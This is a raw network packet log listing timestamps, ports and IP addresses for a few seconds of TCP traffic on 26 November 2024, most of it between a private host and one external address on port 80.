Nov 26, 2024 01:41:46.221188068 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.221277952 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.221288919 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.221626997 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.221652031 CET	49883	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:46.222115993 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.222168922 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.222229004 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.222431898 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.223062992 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.223123074 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.223187923 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.223231077 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.223948002 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.224021912 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.224103928 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.224190950 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.224916935 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.225023031 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.225030899 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.225162983 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.225830078 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.225888014 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.225944996 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.225985050 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.226798058 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.226897955 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.226955891 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.227684021 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.227780104 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.227797985 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.227826118 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.228208065 CET	443	49895	23.209.72.8	192.168.2.6
Nov 26, 2024 01:41:46.228502035 CET	49895	443	192.168.2.6	23.209.72.8
Nov 26, 2024 01:41:46.228514910 CET	443	49895	23.209.72.8	192.168.2.6
Nov 26, 2024 01:41:46.228699923 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.228745937 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.228754044 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.228801012 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.228807926 CET	443	49895	23.209.72.8	192.168.2.6
Nov 26, 2024 01:41:46.229254007 CET	49895	443	192.168.2.6	23.209.72.8
Nov 26, 2024 01:41:46.229307890 CET	443	49895	23.209.72.8	192.168.2.6
Nov 26, 2024 01:41:46.229542971 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.229598999 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.229657888 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.238455057 CET	49896	443	192.168.2.6	23.209.72.8
Nov 26, 2024 01:41:46.238481045 CET	443	49896	23.209.72.8	192.168.2.6
Nov 26, 2024 01:41:46.243403912 CET	443	49889	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:46.248003960 CET	49889	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:46.248028994 CET	443	49889	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:46.249150991 CET	49889	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:46.249155998 CET	443	49889	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:46.266681910 CET	49886	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:46.266683102 CET	49887	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:46.270287037 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.270369053 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.270402908 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.270596981 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.270792961 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.270848989 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.270862103 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.270970106 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.271697044 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.271765947 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.271805048 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.271852970 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.272608042 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.272665977 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.281950951 CET	49895	443	192.168.2.6	23.209.72.8
Nov 26, 2024 01:41:46.281960964 CET	49896	443	192.168.2.6	23.209.72.8
Nov 26, 2024 01:41:46.290287971 CET	443	49892	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:46.304672003 CET	49892	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:46.304689884 CET	443	49892	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:46.305319071 CET	49892	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:46.305324078 CET	443	49892	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:46.337791920 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.337876081 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.337898016 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.337941885 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.338258982 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.338309050 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.338464975 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.339212894 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.339288950 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.339325905 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.339370966 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.340157986 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.340221882 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.340225935 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.340332031 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.341114998 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.341248035 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.341432095 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.341993093 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.342060089 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.342093945 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.342320919 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.342900038 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.342943907 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.342999935 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.343844891 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.343919992 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.343940020 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.344415903 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.344763041 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.344783068 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.344883919 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.345745087 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.345765114 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.345808029 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.346626997 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.346683979 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.346683979 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.346720934 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.347624063 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.347649097 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.347690105 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.347707033 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.348520994 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.348532915 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.348593950 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.349437952 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.349493027 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.349543095 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.349584103 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.350346088 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.350398064 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.350445032 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.350486040 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.351288080 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.351389885 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.351411104 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.351437092 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.352197886 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.352304935 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.352363110 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.353154898 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.353220940 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.353276968 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.353538036 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.354089022 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.354166031 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.354199886 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.354336977 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.355000973 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.355079889 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.355087996 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.355176926 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.355926991 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.356049061 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.356125116 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.356862068 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.356928110 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.356966019 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.357207060 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.357805014 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.357880116 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.357916117 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.358095884 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.358711958 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.358784914 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.358818054 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.358973026 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.359658003 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.359734058 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.359745026 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.359823942 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.360583067 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.360702038 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.360755920 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.361509085 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.361622095 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.361692905 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.362453938 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.362498999 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.362565041 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.362603903 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.363356113 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.363440990 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.363471985 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.363512993 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.364325047 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.364387989 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.364422083 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.364639997 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.413491964 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.413552046 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.413603067 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.413652897 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.414010048 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.414067984 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.414072990 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.414139986 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.414901018 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.414997101 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.415000916 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.415050983 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.415787935 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.415839911 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.415903091 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.415952921 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.416728020 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.416793108 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.416830063 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.416970968 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.417802095 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.417910099 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.417959929 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.418632030 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.418683052 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.418740988 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.418797016 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.419543028 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.419615984 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.419655085 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.419698000 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.420473099 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.420581102 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.420584917 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.420694113 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.421418905 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.421574116 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.421586990 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.421811104 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.422327042 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.422430992 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.423255920 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.423371077 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.424189091 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.424304008 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.425128937 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.425244093 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.425407887 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.425467014 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.426050901 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.426136971 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.426165104 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.426186085 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.426969051 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.427068949 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.427143097 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.427939892 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.428014040 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.428014994 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.428188086 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.428843021 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.428917885 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.428950071 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.429013014 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.429768085 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.429816008 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.429867983 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.429910898 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.430689096 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.430747032 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.430787086 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.430911064 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.471632957 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.471733093 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.471792936 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.472078085 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.472160101 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.472242117 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.472678900 CET	443	49882	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:46.472702026 CET	443	49882	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:46.472996950 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.473047972 CET	443	49882	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:46.473047972 CET	49882	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:46.473069906 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.473112106 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.473169088 CET	49882	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:46.473923922 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.473956108 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.476402998 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.495340109 CET	443	49894	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:46.497437954 CET	443	49893	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:46.538981915 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.539028883 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.539239883 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.539292097 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.539455891 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.539552927 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.539587975 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.539613962 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.540429115 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.540498018 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.540533066 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.541327000 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.541346073 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.541696072 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.542248011 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.542294979 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.542350054 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.542392969 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.543173075 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.543216944 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.543272972 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.543318987 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.544195890 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.544208050 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.544238091 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.544255972 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.545049906 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.545089960 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.545159101 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.545819998 CET	443	49897	23.209.72.8	192.168.2.6
Nov 26, 2024 01:41:46.545869112 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.546022892 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.546135902 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.546170950 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.546937943 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.547003031 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.547074080 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.547863960 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.547923088 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.547977924 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.548373938 CET	49893	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:46.548373938 CET	49894	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:46.548392057 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.548779011 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.548983097 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.549024105 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.549726009 CET	443	49884	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:46.549747944 CET	443	49884	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:46.549753904 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.549807072 CET	49884	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:46.549822092 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.549834013 CET	443	49884	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:46.549854994 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.549866915 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.550065041 CET	443	49884	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:46.550118923 CET	49884	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:46.550493002 CET	443	49885	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:46.550549030 CET	443	49885	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:46.550621986 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.550654888 CET	49885	443	192.168.2.6	13.107.246.40
Nov 26, 2024 01:41:46.550668001 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:46.550681114 CET	443	49885	13.107.246.40	192.168.2.6
Nov 26, 2024 01:41:46.550707102 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:46.550749063 CET	49813	80	192.168.2.6	185.215.113.206
